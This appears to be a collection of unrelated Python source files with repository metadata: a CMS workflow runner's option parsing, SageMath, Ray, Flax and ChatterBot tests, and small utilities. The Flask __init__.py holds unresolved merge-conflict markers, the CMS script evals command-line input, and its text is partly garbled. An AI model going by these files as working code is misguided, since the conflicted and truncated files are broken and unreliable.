memory(n_core) = memoryOffset + (n_core-1) * memPerCore', dest='memPerCore', default=1500 ) parser.add_option('-j','--nproc', help='number of processes. 0 Will use 4 processes, not execute anything but create the wfs', dest='nProcs', default=4 ) parser.add_option('-t','--nThreads', help='number of threads per process to use in cmsRun.', dest='nThreads', default=1 ) parser.add_option('-n','--showMatrix', help='Only show the worflows. Use --ext to show more', dest='show', default=False, action='store_true' ) parser.add_option('-e','--extended', help='Show details of workflows, used with --show', dest='extended', default=False, action='store_true' ) parser.add_option('-s','--selected', help='Run a pre-defined selected matrix of wf. Deprecated, please use -l limited', dest='restricted', default=False, action='store_true' ) parser.add_option('-l','--list', help='Coma separated list of workflow to be shown or ran. Possible keys are also '+str(predefinedSet.keys())+'. and wild card like muon, or mc', dest='testList', default=None ) parser.add_option('-r','--raw', help='Temporary dump the .txt needed for prodAgent interface. To be discontinued soon. Argument must be the name of the set (standard, pileup,...)', dest='raw' ) parser.add_option('-i','--useInput', help='Use recyling where available. Either all, or a coma separated list of wf number.', dest='useInput', default=None ) parser.add_option('-w','--what', help='Specify the set to be used. Argument must be the name of the set (standard, pileup,...)', dest='what', default='all' ) parser.add_option('--step1', help='Used with --raw. Limit the production to step1', dest='step1Only', default=False ) parser.add_option('--maxSteps', help='Only run maximum on maxSteps. Used when we are only interested in first n steps.', dest='maxSteps', default=9999, type="int" ) parser.add_option('--fromScratch', help='Coma separated list of wf to be run without recycling. all is not supported as default.', dest='fromScratch', default=None ) parser.add_option('--refRelease', help='Allow to modify the recycling dataset version', dest='refRel', default=None ) parser.add_option('--wmcontrol', help='Create the workflows for injection to WMAgent. In the WORKING. -wmcontrol init will create the the workflows, -wmcontrol test will dryRun a test, -wmcontrol submit will submit to wmagent', choices=['init','test','submit','force'], dest='wmcontrol', default=None, ) parser.add_option('--revertDqmio', help='When submitting workflows to wmcontrol, force DQM outout to use pool and not DQMIO', choices=['yes','no'], dest='revertDqmio', default='no', ) parser.add_option('--optionswm', help='Specify a few things for wm injection', default='', dest='wmoptions') parser.add_option('--keep', help='allow to specify for which coma separated steps the output is needed', default=None) parser.add_option('--label', help='allow to give a special label to the output dataset name', default='') parser.add_option('--command', help='provide a way to add additional command to all of the cmsDriver commands in the matrix', dest='command', default=None ) parser.add_option('--apply', help='allow to use the --command only for 1 coma separeated', dest='apply', default=None) parser.add_option('--workflow', help='define a workflow to be created or altered from the matrix', action='append', dest='workflow', default=None ) parser.add_option('--dryRun', help='do not run the wf at all', action='store_true', dest='dryRun', default=False ) parser.add_option('--testbed', help='workflow injection to cmswebtest (you need dedicated rqmgr account)', dest='testbed', default=False, action='store_true' ) parser.add_option('--noCafVeto', help='Run from any source, ignoring the CAF label', dest='cafVeto', default=True, action='store_false' ) parser.add_option('--overWrite', help='Change the content of a step for another. List of pairs.', dest='overWrite', default=None ) parser.add_option('--noRun', help='Remove all run list selection from wfs', dest='noRun', default=False, action='store_true') parser.add_option('--das-options', help='Options to be passed to dasgoclient.', dest='dasOptions', default="--limit 0", action='store') parser.add_option('--job-reports', help='Dump framework job reports', dest='jobReports', default=False, action='store_true') parser.add_option('--ibeos', help='Use IB EOS site configuration', dest='IBEos', default=False, action='store_true') opt,args = parser.parse_args() if opt.IBEos: import os from commands import getstatusoutput as run_cmd ibeos_cache = os.path.join(os.getenv("LOCALRT"), "ibeos_cache.txt") if not os.path.exists(ibeos_cache): err, out = run_cmd("curl -L -s -o %s https://raw.githubusercontent.com/cms-sw/cms-sw.github.io/master/das_queries/ibeos.txt" % ibeos_cache) if err: run_cmd("rm -f %s" % ibeos_cache) print("Error: Unable to download ibeos cache information") print(out) sys.exit(err) for cmssw_env in [ "CMSSW_BASE", "CMSSW_RELEASE_BASE" ]: cmssw_base = os.getenv(cmssw_env,None) if not cmssw_base: continue cmssw_base = os.path.join(cmssw_base,"src/Utilities/General/ibeos") if os.path.exists(cmssw_base): os.environ["PATH"]=cmssw_base+":"+os.getenv("PATH") os.environ["CMS_PATH"]="/cvmfs/cms-ib.cern.ch" os.environ["CMSSW_USE_IBEOS"]="true" print(">> WARNING: You are using SITECONF from /cvmfs/cms-ib.cern.ch") break if opt.restricted: print('Deprecated, please use -l limited') if opt.testList: opt.testList+=',limited' else: opt.testList='limited' def stepOrIndex(s): if s.isdigit(): return int(s) else: return s if opt.apply: opt.apply=map(stepOrIndex,opt.apply.split(',')) if opt.keep: opt.keep=map(stepOrIndex,opt.keep.split(',')) if opt.testList: testList=[] for entry in opt.testList.split(','): if not entry: continue mapped=False for k in predefinedSet: if k.lower().startswith(entry.lower()) or k.lower().endswith(entry.lower()): testList.extend(predefinedSet[k]) mapped=True break if not mapped: try: testList.append(float(entry)) except: print(entry,'is not a possible selected entry') opt.testList = list(set(testList)) if opt.useInput: opt.useInput = opt.useInput.split(',') if opt.fromScratch: opt.fromScratch = opt.fromScratch.split(',') if opt.nProcs: opt.nProcs=int(opt.nProcs) if opt.nThreads: opt.nThreads=int(opt.nThreads) if (opt.memoryOffset): opt.memoryOffset=int(opt.memoryOffset) if (opt.memPerCore): opt.memPerCore=int(opt.memPerCore) if opt.wmcontrol: performInjectionOptionTest(opt) if opt.overWrite: opt.overWrite=eval(opt.overWrite) if opt.raw and opt.show: cted(opt) sys.exit(ret)

true

790c50c393f7e3d5309afc7e342afd439d7cb2e5

1,043

py

Python

src/sage/algebras/algebra_element.py

robertwb/sage

1b1e6f608d1ef8ee664bb19e991efbbc68cbd51f

[ "BSL-1.0" ]

2

2018-06-30T01:37:35.000Z

2018-06-30T01:37:39.000Z

src/sage/algebras/algebra_element.py

boothby/sage

1b1e6f608d1ef8ee664bb19e991efbbc68cbd51f

[ "BSL-1.0" ]

null

src/sage/algebras/algebra_element.py

boothby/sage

1b1e6f608d1ef8ee664bb19e991efbbc68cbd51f

[ "BSL-1.0" ]

null

""" Base class for algebra elements """ #***************************************************************************** # Copyright (C) 2005 William Stein <wstein@gmail.com> # # Distributed under the terms of the GNU General Public License (GPL) # # This code is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # The full text of the GPL is available at: # # http://www.gnu.org/licenses/ #***************************************************************************** from sage.misc.superseded import deprecation deprecation(21141, "the module sage.algebras.algebra_element is deprecated, import from sage.structure.element instead") from sage.structure.element import AlgebraElement def is_AlgebraElement(x): r""" Return true if x is an AlgebraElement EXAMPLES: """ return isinstance(x, AlgebraElement)

31.606061

120

0.612656

from sage.misc.superseded import deprecation deprecation(21141, "the module sage.algebras.algebra_element is deprecated, import from sage.structure.element instead") from sage.structure.element import AlgebraElement def is_AlgebraElement(x): return isinstance(x, AlgebraElement)

true

790c51f87e0d519f54f3f2959899dd92256edd48

3,168

py

Python

python/opscore/RO/ParseMsg/ParseData.py

sdss/opscore

dd4f2b2ad525fe3dfe3565463de2c079a7e1232e

[ "BSD-3-Clause" ]

null

python/opscore/RO/ParseMsg/ParseData.py

sdss/opscore

dd4f2b2ad525fe3dfe3565463de2c079a7e1232e

[ "BSD-3-Clause" ]

1

2021-08-17T21:08:14.000Z

python/opscore/RO/ParseMsg/ParseData.py

sdss/opscore

dd4f2b2ad525fe3dfe3565463de2c079a7e1232e

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python """Parse a keyword-value message. History: 2002-12-16 ROwen 2003-06-25 ROwen Modified to return an opscore.RO.Alg.OrderedDict 2003-11-19 ROwen Modified header: keywords with no values may have an '='. Added "noValKey=" to test cases as it caused an infinite loop. 2004-05-18 ROwen Modified test code to use astr instead of str. 2014-09-17 ROwen Modified to test for Exception instead of StandardError 2015-11-03 ROwen Replace "!= None" with "is not None" to modernize the code. """ __all__ = ["parseKeyValueData"] from .GetKeyword import getKeyword from .GetValues import getValues import opscore.RO.Alg def parseKeyValueData(astr): """Parses a string of the form: 'keyword1=value11, value12,...; keyword2=value21, value22; keyword3=; keyword4; ...' returning an opscore.RO.Alg.OrderedDict of the form: {keyword1:(value11, value12,...), keyword2:(value21, value22, ...), keyword3: (), keyword4: (), ...} Inputs: - astr: the string to parse, of the form: keyword1=value11, value12,...; keyword2=value21, value22... where: - keyword is a keyword; it must start with a letter or underscore and may contain those characters or digits thereafter. - value is the value of the keyword, one of: an integer a floating point number a string delimited by a pair of single or double quotes any enclosed characters identical to the delimiter should be escaped by doubling or preceding with a backslash - Each keyword may have zero or more comma-separated values; if it has zero values then the equals sign may be omitted. Returns dataDict, an opscore.RO.Alg.OrderedDict of keyword: valueTuple entries, one for each keyword. Details: - The keywords are given in the order they were specified in the message. - If the keyword has no values, valueTuple is () - If the keyword has one value, valueTuple is (value,) """ dataDict = opscore.RO.Alg.OrderedDict() if astr == '': return dataDict nextInd = 0 while nextInd is not None: keyword, nextInd = getKeyword(astr, nextInd) # print "got keyword %r; nextInd = %r" % (keyword, nextInd) valueTuple, nextInd = getValues(astr, nextInd) # print "got valueTuple %r; nextInd = %r" % (valueTuple, nextInd) dataDict[keyword] = valueTuple return dataDict if __name__ == '__main__': # perform test print("testing parseHubMsg\n") testList = [ "keyword", "", "strSet='quoted \"string\" 1', 'quoted \"string\" 2', unquotedstr3", "genSet=1, 2, 3.14159, 'str4', 'str5'", "noValKey1=", "noValKey1", "noValKey1; intKey2=2; noValKey3=; noValKey4 = ; noValKey5", ] for astr in testList: try: dataDict = parseKeyValueData(astr) print("parseHubMsg(%r) = {" % (astr,)) for key, value in dataDict.items(): print(" %r: %r" % (key, value)) print("}") except Exception as e: print("failed with error: ", e)

39.111111

92

0.636048

__all__ = ["parseKeyValueData"] from .GetKeyword import getKeyword from .GetValues import getValues import opscore.RO.Alg def parseKeyValueData(astr): dataDict = opscore.RO.Alg.OrderedDict() if astr == '': return dataDict nextInd = 0 while nextInd is not None: keyword, nextInd = getKeyword(astr, nextInd) valueTuple, nextInd = getValues(astr, nextInd) dataDict[keyword] = valueTuple return dataDict if __name__ == '__main__': print("testing parseHubMsg\n") testList = [ "keyword", "", "strSet='quoted \"string\" 1', 'quoted \"string\" 2', unquotedstr3", "genSet=1, 2, 3.14159, 'str4', 'str5'", "noValKey1=", "noValKey1", "noValKey1; intKey2=2; noValKey3=; noValKey4 = ; noValKey5", ] for astr in testList: try: dataDict = parseKeyValueData(astr) print("parseHubMsg(%r) = {" % (astr,)) for key, value in dataDict.items(): print(" %r: %r" % (key, value)) print("}") except Exception as e: print("failed with error: ", e)

true

790c53f7e56d39b1a643d9e18dc20fad39757347

507

py

Python

python/ray/dataframe/index.py

cathywu/ray

8e333977e0991738558f4c8bb737da5fb29df0c6

[ "Apache-2.0" ]

2

2017-12-19T08:18:51.000Z

2018-01-19T02:42:28.000Z

python/ray/dataframe/index.py

cathywu/ray

8e333977e0991738558f4c8bb737da5fb29df0c6

[ "Apache-2.0" ]

5

2018-01-04T22:54:34.000Z

2018-02-06T23:48:20.000Z

python/ray/dataframe/index.py

cathywu/ray

8e333977e0991738558f4c8bb737da5fb29df0c6

[ "Apache-2.0" ]

3

2018-01-04T21:18:42.000Z

2019-01-20T05:34:33.000Z

from __future__ import absolute_import from __future__ import division from __future__ import print_function import pandas as pd class Index(object): def __init__(self, idx): self.idx = idx @classmethod def to_pandas(indices): if isinstance(indices[0], pd.RangeIndex): merged = indices[0] for index in indices[1:]: merged = merged.union(index) return merged else: return indices[0].append(indices[1:])

23.045455

49

0.625247

from __future__ import absolute_import from __future__ import division from __future__ import print_function import pandas as pd class Index(object): def __init__(self, idx): self.idx = idx @classmethod def to_pandas(indices): if isinstance(indices[0], pd.RangeIndex): merged = indices[0] for index in indices[1:]: merged = merged.union(index) return merged else: return indices[0].append(indices[1:])

true

790c54967d8d9b1d0670a59bf6bf62083c10aa50

3,073

py

Python

tests/core/full_node/test_hint_store.py

ReadyNeutron/shitcoin-blockchain

80add4e545ad22a317244f7fd958d118a5a75c5d

[ "Apache-2.0" ]

174

2021-06-16T17:49:22.000Z

2022-03-17T03:03:17.000Z

tests/core/full_node/test_hint_store.py

ReadyNeutron/shitcoin-blockchain

80add4e545ad22a317244f7fd958d118a5a75c5d

[ "Apache-2.0" ]

49

2021-06-17T14:10:53.000Z

2022-01-31T11:04:21.000Z

tests/core/full_node/test_hint_store.py

ReadyNeutron/shitcoin-blockchain

80add4e545ad22a317244f7fd958d118a5a75c5d

[ "Apache-2.0" ]

80

2021-06-17T14:23:31.000Z

2022-02-24T05:52:47.000Z

import asyncio import logging import pytest from clvm.casts import int_to_bytes from flax.consensus.blockchain import Blockchain from flax.full_node.hint_store import HintStore from flax.types.blockchain_format.coin import Coin from flax.types.condition_opcodes import ConditionOpcode from flax.types.condition_with_args import ConditionWithArgs from flax.types.spend_bundle import SpendBundle from tests.util.db_connection import DBConnection from tests.wallet_tools import WalletTool from tests.setup_nodes import bt @pytest.fixture(scope="module") def event_loop(): loop = asyncio.get_event_loop() yield loop log = logging.getLogger(__name__) class TestHintStore: @pytest.mark.asyncio async def test_basic_store(self): async with DBConnection() as db_wrapper: hint_store = await HintStore.create(db_wrapper) hint_0 = 32 * b"\0" hint_1 = 32 * b"\1" not_existing_hint = 32 * b"\3" coin_id_0 = 32 * b"\4" coin_id_1 = 32 * b"\5" coin_id_2 = 32 * b"\6" hints = [(coin_id_0, hint_0), (coin_id_1, hint_0), (coin_id_2, hint_1)] await hint_store.add_hints(hints) await db_wrapper.commit_transaction() coins_for_hint_0 = await hint_store.get_coin_ids(hint_0) assert coin_id_0 in coins_for_hint_0 assert coin_id_1 in coins_for_hint_0 coins_for_hint_1 = await hint_store.get_coin_ids(hint_1) assert coin_id_2 in coins_for_hint_1 coins_for_non_hint = await hint_store.get_coin_ids(not_existing_hint) assert coins_for_non_hint == [] @pytest.mark.asyncio async def test_hints_in_blockchain(self, empty_blockchain): # noqa: F811 blockchain: Blockchain = empty_blockchain blocks = bt.get_consecutive_blocks( 5, block_list_input=[], guarantee_transaction_block=True, farmer_reward_puzzle_hash=bt.pool_ph, pool_reward_puzzle_hash=bt.pool_ph, ) for block in blocks: await blockchain.receive_block(block) wt: WalletTool = bt.get_pool_wallet_tool() puzzle_hash = 32 * b"\0" amount = int_to_bytes(1) hint = 32 * b"\5" coin_spent = list(blocks[-1].get_included_reward_coins())[0] condition_dict = { ConditionOpcode.CREATE_COIN: [ConditionWithArgs(ConditionOpcode.CREATE_COIN, [puzzle_hash, amount, hint])] } tx: SpendBundle = wt.generate_signed_transaction( 10, wt.get_new_puzzlehash(), coin_spent, condition_dic=condition_dict, ) blocks = bt.get_consecutive_blocks( 10, block_list_input=blocks, guarantee_transaction_block=True, transaction_data=tx ) for block in blocks: await blockchain.receive_block(block) get_hint = await blockchain.hint_store.get_coin_ids(hint) assert get_hint[0] == Coin(coin_spent.name(), puzzle_hash, 1).name()

33.402174

118

0.66645

import asyncio import logging import pytest from clvm.casts import int_to_bytes from flax.consensus.blockchain import Blockchain from flax.full_node.hint_store import HintStore from flax.types.blockchain_format.coin import Coin from flax.types.condition_opcodes import ConditionOpcode from flax.types.condition_with_args import ConditionWithArgs from flax.types.spend_bundle import SpendBundle from tests.util.db_connection import DBConnection from tests.wallet_tools import WalletTool from tests.setup_nodes import bt @pytest.fixture(scope="module") def event_loop(): loop = asyncio.get_event_loop() yield loop log = logging.getLogger(__name__) class TestHintStore: @pytest.mark.asyncio async def test_basic_store(self): async with DBConnection() as db_wrapper: hint_store = await HintStore.create(db_wrapper) hint_0 = 32 * b"\0" hint_1 = 32 * b"\1" not_existing_hint = 32 * b"\3" coin_id_0 = 32 * b"\4" coin_id_1 = 32 * b"\5" coin_id_2 = 32 * b"\6" hints = [(coin_id_0, hint_0), (coin_id_1, hint_0), (coin_id_2, hint_1)] await hint_store.add_hints(hints) await db_wrapper.commit_transaction() coins_for_hint_0 = await hint_store.get_coin_ids(hint_0) assert coin_id_0 in coins_for_hint_0 assert coin_id_1 in coins_for_hint_0 coins_for_hint_1 = await hint_store.get_coin_ids(hint_1) assert coin_id_2 in coins_for_hint_1 coins_for_non_hint = await hint_store.get_coin_ids(not_existing_hint) assert coins_for_non_hint == [] @pytest.mark.asyncio async def test_hints_in_blockchain(self, empty_blockchain): blockchain: Blockchain = empty_blockchain blocks = bt.get_consecutive_blocks( 5, block_list_input=[], guarantee_transaction_block=True, farmer_reward_puzzle_hash=bt.pool_ph, pool_reward_puzzle_hash=bt.pool_ph, ) for block in blocks: await blockchain.receive_block(block) wt: WalletTool = bt.get_pool_wallet_tool() puzzle_hash = 32 * b"\0" amount = int_to_bytes(1) hint = 32 * b"\5" coin_spent = list(blocks[-1].get_included_reward_coins())[0] condition_dict = { ConditionOpcode.CREATE_COIN: [ConditionWithArgs(ConditionOpcode.CREATE_COIN, [puzzle_hash, amount, hint])] } tx: SpendBundle = wt.generate_signed_transaction( 10, wt.get_new_puzzlehash(), coin_spent, condition_dic=condition_dict, ) blocks = bt.get_consecutive_blocks( 10, block_list_input=blocks, guarantee_transaction_block=True, transaction_data=tx ) for block in blocks: await blockchain.receive_block(block) get_hint = await blockchain.hint_store.get_coin_ids(hint) assert get_hint[0] == Coin(coin_spent.name(), puzzle_hash, 1).name()

true

790c565a9dbfdbb2e6752d4dc069ec6a95b66119

240

py

Python

07_RSI/ch03/sum.py

zzz0072/Python_Exercises

9918aa8197a77ef237e5e60306c7785eca5cb1d3

[ "BSD-2-Clause" ]

null

07_RSI/ch03/sum.py

zzz0072/Python_Exercises

9918aa8197a77ef237e5e60306c7785eca5cb1d3

[ "BSD-2-Clause" ]

null

07_RSI/ch03/sum.py

zzz0072/Python_Exercises

9918aa8197a77ef237e5e60306c7785eca5cb1d3

[ "BSD-2-Clause" ]

null

#!/usr/bin/env python3 def sum_recursin(numList): if len(numList) == 1: return numList[0] else: return numList[0] + sum_recursin(numList[1:]) if __name__ == "__main__": print(sum_recursin(list(range(1, 101))))

21.818182

53

0.629167

def sum_recursin(numList): if len(numList) == 1: return numList[0] else: return numList[0] + sum_recursin(numList[1:]) if __name__ == "__main__": print(sum_recursin(list(range(1, 101))))

true

790c57916664bdf52a3d4db6c000e84b671e95b2

1,489

py

Python

run.py

alvarlagerlof/ball-pid

6122e729782750818449645f97db41b31503a9aa

[ "MIT" ]

null

run.py

alvarlagerlof/ball-pid

6122e729782750818449645f97db41b31503a9aa

[ "MIT" ]

null

run.py

alvarlagerlof/ball-pid

6122e729782750818449645f97db41b31503a9aa

[ "MIT" ]

null

from math import ceil from time import sleep from config import * from servo import * from camera import * from pid import * # Init servo1 = Servo(2) servo2 = Servo(3) servo_count = 0 #servo1.setAngle(90) #sleep(1) #servo2.setAngle(90) #sleep(1) camera = Camera() PID = PID() # Loop while True: data = camera.getBallPos() #data = None if not (data[0] and data[1]): print("No ball found") else: # Calculate PID move = PID.calculate(data[0], data[1]) # Print result #print("x", round(move[0]), "y", round(move[1]), round(move[2]*600)) # Move servos #move_x = ( (move[0] - conf.cam_x_min) / (conf.cam_x_max - conf.cam_x_min) ) * (conf.servo_max - conf.servo_min) + conf.servo_min #move_y = ( (move[1] - conf.cam_y_min) / (conf.cam_y_max - conf.cam_y_min) ) * (conf.servo_max - conf.servo_min) + conf.servo_min move_x = ((move[0])/2)+90 move_y = ((-move[1])/2)+90 print(move_x, move_y) servo_count += 1 if servo_count > 3: servo1.setAngle(move_x) servo2.setAngle(move_y) servo_count = 0 #servo.moveTo(2, move[1]) # Show frame cv2.imshow("Frame", data[2]) key = cv2.waitKey(1) & 0xFF # Stop if 'q' is pressed if key == ord("q"): servo1.stop() servo2.stop() camera.stop()

17.72619

137

0.534587

from math import ceil from time import sleep from config import * from servo import * from camera import * from pid import * servo1 = Servo(2) servo2 = Servo(3) servo_count = 0 camera = Camera() PID = PID() while True: data = camera.getBallPos() if not (data[0] and data[1]): print("No ball found") else: move = PID.calculate(data[0], data[1]) move_x = ((move[0])/2)+90 move_y = ((-move[1])/2)+90 print(move_x, move_y) servo_count += 1 if servo_count > 3: servo1.setAngle(move_x) servo2.setAngle(move_y) servo_count = 0 cv2.imshow("Frame", data[2]) key = cv2.waitKey(1) & 0xFF if key == ord("q"): servo1.stop() servo2.stop() camera.stop()

false

true

790c589fa941e030ddafe079129ac8e67b8eeaee

1,246

py

Python

app/__init__.py

codebr3ak/Fast-Food-Fast

e8acf2a9b9bbc6ac7974a932a84c4dc344a4f968

[ "MIT" ]

null

app/__init__.py

codebr3ak/Fast-Food-Fast

e8acf2a9b9bbc6ac7974a932a84c4dc344a4f968

[ "MIT" ]

null

app/__init__.py

codebr3ak/Fast-Food-Fast

e8acf2a9b9bbc6ac7974a932a84c4dc344a4f968

[ "MIT" ]

1

2021-03-10T05:21:37.000Z

""" module init """ from flask import Flask <<<<<<< HEAD from config import config_options from flask_sqlalchemy import SQLAlchemy import os ======= from config import DevelopmentConfig from .views import orders_blue_print >>>>>>> ba86ec7ade79a936b81e04ee8b80a97cf8f97770 def create_app(DevelopmentConfig): """ Function create_app: creates app and gives it the import name holds the configuration being used. registers the orders blueprint :return: app: """ app = Flask(__name__) app.config.from_object(DevelopmentConfig) app.register_blueprint(orders_blue_print) <<<<<<< HEAD app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False # set the configurations app.config.from_object(os.environ['APP_SETTINGS']) db=SQLAlchemy(app) # initialiaze the database db.init_app(app) with app.app_context(): from .import routes db.create_all # register your blueprints here from app.main import main from app.auth import auth app.register_blueprint(main) app.register_blueprint(auth) @app.route('/') def hello(): return "Hello World!" return app ======= return app >>>>>>> ba86ec7ade79a936b81e04ee8b80a97cf8f97770

21.118644

56

0.693419

""" module init """ from flask import Flask <<<<<<< HEAD from config import config_options from flask_sqlalchemy import SQLAlchemy import os ======= from config import DevelopmentConfig from .views import orders_blue_print >>>>>>> ba86ec7ade79a936b81e04ee8b80a97cf8f97770 def create_app(DevelopmentConfig): """ Function create_app: creates app and gives it the import name holds the configuration being used. registers the orders blueprint :return: app: """ app = Flask(__name__) app.config.from_object(DevelopmentConfig) app.register_blueprint(orders_blue_print) <<<<<<< HEAD app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False app.config.from_object(os.environ['APP_SETTINGS']) db=SQLAlchemy(app) db.init_app(app) with app.app_context(): from .import routes db.create_all from app.main import main from app.auth import auth app.register_blueprint(main) app.register_blueprint(auth) @app.route('/') def hello(): return "Hello World!" return app ======= return app >>>>>>> ba86ec7ade79a936b81e04ee8b80a97cf8f97770

false

true

790c594f7ddb0992fcaa78a7176ea150f0f11fb4

692

py

Python

MetaLearning/MatchingNetworks/storage.py

likesiwell/DL_Code_Repos

8e5eb7c8a0e77ea6768ba8c755f671e7f9d02097

[ "MIT" ]

1

2018-02-05T13:52:18.000Z

MetaLearning/MatchingNetworks/storage.py

likesiwell/DL_Code_Repos

8e5eb7c8a0e77ea6768ba8c755f671e7f9d02097

[ "MIT" ]

null

MetaLearning/MatchingNetworks/storage.py

likesiwell/DL_Code_Repos

8e5eb7c8a0e77ea6768ba8c755f671e7f9d02097

[ "MIT" ]

null

import csv def save_statistics(experiment_name, line_to_add): with open("{}.csv".format(experiment_name), 'a') as f: writer = csv.writer(f) writer.writerow(line_to_add) def load_statistics(experiment_name): data_dict = dict() with open("{}.csv".format(experiment_name), 'r') as f: lines = f.readlines() data_labels = lines[0].replace("\n","").split(",") del lines[0] for label in data_labels: data_dict[label] = [] for line in lines: data = line.replace("\n","").split(",") for key, item in zip(data_labels, data): data_dict[key].append(item) return data_dict

25.62963

58

0.58237

import csv def save_statistics(experiment_name, line_to_add): with open("{}.csv".format(experiment_name), 'a') as f: writer = csv.writer(f) writer.writerow(line_to_add) def load_statistics(experiment_name): data_dict = dict() with open("{}.csv".format(experiment_name), 'r') as f: lines = f.readlines() data_labels = lines[0].replace("\n","").split(",") del lines[0] for label in data_labels: data_dict[label] = [] for line in lines: data = line.replace("\n","").split(",") for key, item in zip(data_labels, data): data_dict[key].append(item) return data_dict

true

790c5a487bdcae7102f84217bc9e433fc15e4b6e

16,078

py

Python

tests/test_chatbot.py

nadimpayak/ChatBot

cce2377cb445000a5b2e3bc39b955276ae217740

[ "BSD-3-Clause" ]

null

tests/test_chatbot.py

nadimpayak/ChatBot

cce2377cb445000a5b2e3bc39b955276ae217740

[ "BSD-3-Clause" ]

null

tests/test_chatbot.py

nadimpayak/ChatBot

cce2377cb445000a5b2e3bc39b955276ae217740

[ "BSD-3-Clause" ]

null

from tests.base_case import ChatBotTestCase from chatterbot.logic import LogicAdapter from chatterbot.conversation import Statement class ChatterBotResponseTestCase(ChatBotTestCase): def test_conversation_values_persisted_to_response(self): response = self.chatbot.get_response('Hello', persist_values_to_response={ 'conversation': 'test 1' }) self.assertEqual(response.conversation, 'test 1') def test_tag_values_persisted_to_response(self): response = self.chatbot.get_response('Hello', persist_values_to_response={ 'tags': [ 'tag 1', 'tag 2' ] }) self.assertEqual(len(response.tags), 2) self.assertIn('tag 1', response.get_tags()) self.assertIn('tag 2', response.get_tags()) def test_in_response_to_provided(self): """ Test that the process of looking up the previous response in the conversation is ignored if a previous response is provided. """ self.chatbot.get_response( text='Hello', in_response_to='Unique previous response.' ) statement = self.chatbot.storage.filter( text='Hello', in_response_to='Unique previous response.' ) self.assertIsNotNone(statement) def test_get_initialization_functions(self): """ Test that the initialization functions are returned. """ functions = self.chatbot.get_initialization_functions() self.assertIn('download_nltk_stopwords', str(functions)) self.assertIn('download_nltk_wordnet', str(functions)) self.assertIn('download_nltk_averaged_perceptron_tagger', str(functions)) self.assertIsLength(functions, 3) def test_get_initialization_functions_spacy_similarity(self): """ Test that the initialization functions are returned. """ from chatterbot.comparisons import spacy_similarity list(self.chatbot.search_algorithms.values())[0].compare_statements = spacy_similarity functions = self.chatbot.get_initialization_functions() self.assertIn('download_nltk_stopwords', str(functions)) self.assertIn('download_nltk_wordnet', str(functions)) self.assertIn('download_nltk_averaged_perceptron_tagger', str(functions)) self.assertIsLength(functions, 3) def test_get_initialization_functions_jaccard_similarity(self): """ Test that the initialization functions are returned. """ from chatterbot.comparisons import jaccard_similarity list(self.chatbot.search_algorithms.values())[0].compare_statements = jaccard_similarity functions = self.chatbot.get_initialization_functions() self.assertIn('download_nltk_wordnet', str(functions)) self.assertIn('download_nltk_stopwords', str(functions)) self.assertIn('download_nltk_averaged_perceptron_tagger', str(functions)) self.assertIsLength(functions, 3) def test_no_statements_known(self): """ If there is no statements in the database, then the user's input is the only thing that can be returned. """ statement_text = 'How are you?' response = self.chatbot.get_response(statement_text) results = list(self.chatbot.storage.filter(text=statement_text)) self.assertEqual(response.text, statement_text) self.assertEqual(response.confidence, 0) # Make sure that the input and output were saved self.assertIsLength(results, 2) self.assertEqual(results[0].text, statement_text) self.assertEqual(results[1].text, statement_text) def test_one_statement_known_no_response(self): """ Test the case where a single statement is known, but it is not in response to any other statement. """ self.chatbot.storage.create(text='Hello', in_response_to=None) response = self.chatbot.get_response('Hi') self.assertEqual(response.confidence, 0) self.assertEqual(response.text, 'Hello') def test_one_statement_one_response_known(self): """ Test the case that one response is known and there is a response entry for it in the database. """ self.chatbot.storage.create(text='Hello', in_response_to='Hi') response = self.chatbot.get_response('Hi') self.assertEqual(response.confidence, 0) self.assertEqual(response.text, 'Hello') def test_two_statements_one_response_known(self): """ Test the case that one response is known and there is a response entry for it in the database. """ self.chatbot.storage.create(text='Hi', in_response_to=None) self.chatbot.storage.create(text='Hello', in_response_to='Hi') response = self.chatbot.get_response('Hi') self.assertEqual(response.confidence, 1) self.assertEqual(response.text, 'Hello') def test_three_statements_two_responses_known(self): self.chatbot.storage.create(text='Hi', in_response_to=None) self.chatbot.storage.create(text='Hello', in_response_to='Hi') self.chatbot.storage.create(text='How are you?', in_response_to='Hello') first_response = self.chatbot.get_response('Hi') second_response = self.chatbot.get_response('How are you?') self.assertEqual(first_response.confidence, 1) self.assertEqual(first_response.text, 'Hello') self.assertEqual(second_response.confidence, 0) def test_four_statements_three_responses_known(self): self.chatbot.storage.create(text='Hi', in_response_to=None) self.chatbot.storage.create(text='Hello', in_response_to='Hi') self.chatbot.storage.create(text='How are you?', in_response_to='Hello') self.chatbot.storage.create(text='I am well.', in_response_to='How are you?') first_response = self.chatbot.get_response('Hi') second_response = self.chatbot.get_response('How are you?') self.assertEqual(first_response.confidence, 1) self.assertEqual(first_response.text, 'Hello') self.assertEqual(second_response.confidence, 1) self.assertEqual(second_response.text, 'I am well.') def test_second_response_unknown(self): self.chatbot.storage.create(text='Hi', in_response_to=None) self.chatbot.storage.create(text='Hello', in_response_to='Hi') first_response = self.chatbot.get_response( text='Hi', conversation='test' ) second_response = self.chatbot.get_response( text='How are you?', conversation='test' ) results = list(self.chatbot.storage.filter(text='How are you?')) self.assertEqual(first_response.confidence, 1) self.assertEqual(first_response.text, 'Hello') self.assertEqual(first_response.in_response_to, 'Hi') self.assertEqual(second_response.confidence, 0) self.assertEqual(second_response.in_response_to, 'How are you?') # Make sure that the second response was saved to the database self.assertIsLength(results, 1) self.assertEqual(results[0].in_response_to, 'Hi') def test_statement_added_to_conversation(self): """ An input statement should be added to the recent response list. """ statement = Statement(text='Wow!', conversation='test') response = self.chatbot.get_response(statement) self.assertEqual(statement.text, response.text) self.assertEqual(response.conversation, 'test') def test_get_response_additional_response_selection_parameters(self): self.chatbot.storage.create_many([ Statement('A', conversation='test_1'), Statement('B', conversation='test_1', in_response_to='A'), Statement('A', conversation='test_2'), Statement('C', conversation='test_2', in_response_to='A'), ]) statement = Statement(text='A', conversation='test_3') response = self.chatbot.get_response(statement, additional_response_selection_parameters={ 'conversation': 'test_2' }) self.assertEqual(response.text, 'C') self.assertEqual(response.conversation, 'test_3') def test_get_response_unicode(self): """ Test the case that a unicode string is passed in. """ response = self.chatbot.get_response(u'سلام') self.assertGreater(len(response.text), 0) def test_get_response_emoji(self): 